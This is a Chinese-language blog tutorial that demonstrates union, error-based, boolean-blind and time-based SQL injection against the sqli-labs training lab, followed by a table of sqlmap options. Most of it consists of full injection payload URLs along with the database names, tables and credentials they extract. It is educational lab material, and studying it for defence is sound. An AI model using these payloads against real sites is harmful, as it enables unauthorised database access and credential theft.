基本的四种SQL注入方式


以sqli-labs less-1为例演示联合注入和基于报错的注入
构造 id=1 and 1=1或者id=1 and 1=2都能够正常查询出结果
构造 id=1’ 报错,说明是字符型注入

在这里插入图片描述

联合注入

当查询数据会返回显示界面时可以考虑使用union联合查询的方式

联合查询有两个必要条件:

  • 两张虚拟表具有相同的列数
  • 两张虚拟表对应列的数据类型相同

所以当一个地方可以使用联合查询时基本步骤为:猜测虚拟表列数-》获取数据库名-》获取表名-》获取列名-》获取数据

  1. 使用order by猜测列数
    可知列数为3:

http://192.168.254.132/sqli-labs/Less-1/?id=1’ order by 3 --+

  1. 获取数据库名,版本等基本信息
    为了显示联合查询的数据,需要使id为一个不可能的值

http://192.168.254.132/sqli-labs/Less-1/?id=-1’union select 1,database(),version() --+

在这里插入图片描述

  1. 根据information_schema.tables获取数据库内表名

这里有一张users表

http://192.168.254.132/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=database() --+

在这里插入图片描述

  1. 根据information_schema.columns获取对应表字段名
    获取到了users表的字段名:

http://192.168.254.132/sqli-labs/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+

在这里插入图片描述

  1. 获取信息

http://192.168.254.132/sqli-labs/Less-1/?id=-1’
union select 1,group_concat(username),group_concat(password)
from users–+

在这里插入图片描述

基于错误的注入

当输入特殊字符页面出现报错信息时则可以考虑使用基于错误的注入

  1. xpath报错

(1) http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and extractvalue(1,concat(user(),0x7e,version()))–+
(2)http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(user(),0x7e,database(),0x7e,version()),1)–+

  1. group by 报错

http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a )–+

在这里插入图片描述

布尔盲注

当查询的结果不会显示在界面,同时不会显示报错信息时,若能从页面反馈中得知SQL语句执行的成功与否可以考虑使用布尔盲注

以sqli-labs less-8为例演示布尔注入

当正确输入id时:
在这里插入图片描述
当加一个’时,没有任何显示:
在这里插入图片描述
可知道当SQL语句真确执行时会显示you are in…,而当SQL语句执行错误时什么提示都没有。利用这点进行布尔注入。

  1. 判断数据库名长度
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and length(database())>5 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and length(database())>10 --+ 错误
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and length(database())>7 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and length(database())>8 --+ 错误
    到这里可以知道数据库名长度为8
  2. 猜测数据库名字
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),1,1)) > 1 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),1,1)) > 2 --+ 正确


    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),1,1)) > 115 --+ 错误
    115对应的字符是s接下来猜测第二个字母
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),2,1)) > 1 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ORD(mid(database(),2,1)) > 101 --+ 错误
    101对应制度是e,接下来猜测第三个字母


    最后得到数据库名是security。
  3. 判断数据库中表的个数
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = database()) > 3 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = database()) > 4 --+ 错误
    所以security库中表的数量为4
  4. 判断数据库中第一张表的名字长度
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1) > 5 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1) > 6 --+ 错误
    第一张表的名字长度为6
  5. 猜测数据库中第一张表的名字
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1 --+ 正确


    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+ 错误
    第一张表中第一个字母为e
    步骤与猜测数据库名相同,最后得到第一张表名为emails。
    其余表名分别为refers,uagents,users。
  6. 猜测users字段数
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273 and TABLE_SCHEMA=database()) > 2–+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273 and TABLE_SCHEMA=database()) > 3–+ 错误
    所以users表中字段数为3
  7. 获取第一个字段长度
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=‘users’ and TABLE_SCHEMA=database() limit 0,1) > 1–+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=‘users’ and TABLE_SCHEMA=database() limit 0,1) > 2–+ 错误
    所以users表中第一个字段长度为2
  8. 猜测第一个字段名字
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))>104 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))>105 --+ 错误
    第一个字符为105即i


    最后可以得到第一个字段为id,第二个字段为username,第三个字段为password。
  9. 获取字段值长度
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(username) from users limit 0,1) > 3 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and (select length(username) from users limit 0,1) > 4 --+ 错误
    第一条记录的username内容长度为4
  10. 获取字段值
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select username from users limit 0,1),1,1))>67 --+ 正确
    http://192.168.254.132/sqli-labs/Less-8/?id=1’ and ascii(substr((select username from users limit 0,1),1,1))>68 --+ 错误
    第一个字符为68即D


    最后得到第一条记录的username为Dumb

注:流程大致如此,思路简单但是枚举起来十分繁琐,可以用python编写脚本。另外mysql命名规范规定:数据库命名采用26个英文字母(区分大小写)和0-9这十个自然数,加上下划线’_'组成,共63个字符.不能出现其他字符,数据库表名采用使用小写英文以及下划线组成,在枚举时尽量避免枚举不必要的字符。(上面从1开始枚举就是有点没必要的)
ord()与ascii()功能均为将字符转化为十进制ASCII码。
mid(string,a,b)与substr(string,a,b)功能均为从a开始在string中截取b个字符。t

延时注入

当以上方式都行不通时,只能考虑使用延时注入了。需要用到sleep()函数。

以sqli-labs less-9为例:
可以看到无论id值输入为什么结果都是显示you are in…
在这里插入图片描述

布尔盲注是利用页面的反馈来判断SQL语句执行情况,延时注入由于页面没有任何反馈所以需要利用sleep()和if()函数判断SQL语句执行的情况。
sleep()函数指定延时多少秒。
if(case,T,F)当case为真时执行T,当case为假时执行F。

判断数据库名长度:
http://192.168.254.132/sqli-labs/Less-9/?id=1’ and if(length(database())>5,sleep(5),0) --+
可以看到5秒后页面才加载出来,说明数据库名长度大于5
在这里插入图片描述

判断数据库名第一个字符是什么:
http://192.168.254.132/sqli-labs/Less-9/?id=1’ and if(ord(mid(database(),1,1))=115,sleep(5),0) --+
页面5秒后才加载出来,说明数据库名第一个字符为115即s。

…思路与布尔盲注相同,这里就不在赘述。

使用SQLMAP

SQLMAP是一款十分强大的SQL注入工具。

参数作用
-u ‘URL’检测注入点
- -level 1-5默认为1,检测GET和POST的数据,level为2时就会检测cookie,HTTP User-Agent/Referer头在level为3时就会测试
- -tamper指定一种编码格式以绕过某些关键字过滤
- -random-agent采用随机的用户
- -technique U/E/B/T指定使用何种注入方式
- -dbs列出所有数据库
- -current-db当前数据库
-D ‘databaseName’指定数据库
- -tables列出所有表名
-T ‘tableName’指定使用的表
- -columns列出所有字段名
-C ‘columnName’指定字段名
- -dump列出字段内容
- - batch自动化检测(使用默认选项,不询问用户)

对于post请求的注入,需要先将post请求保存在一个文件中(如post.txt)
然后使用 -r post.txt 从文件中读入http请求

示例:

  1. 检测注入点
    在这里插入图片描述发现存在延时注入
    在这里插入图片描述

  2. 列出数据库名
    在这里插入图片描述
    在这里插入图片描述
    这里由于时间关系我停止了–dbs,直接使用–current-db列出了当前表名security

  3. 列出security数据库的所有表
    在这里插入图片描述
    在这里插入图片描述

  4. 列出users表字段名
    在这里插入图片描述

  5. 列出内容
    在这里插入图片描述
    在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值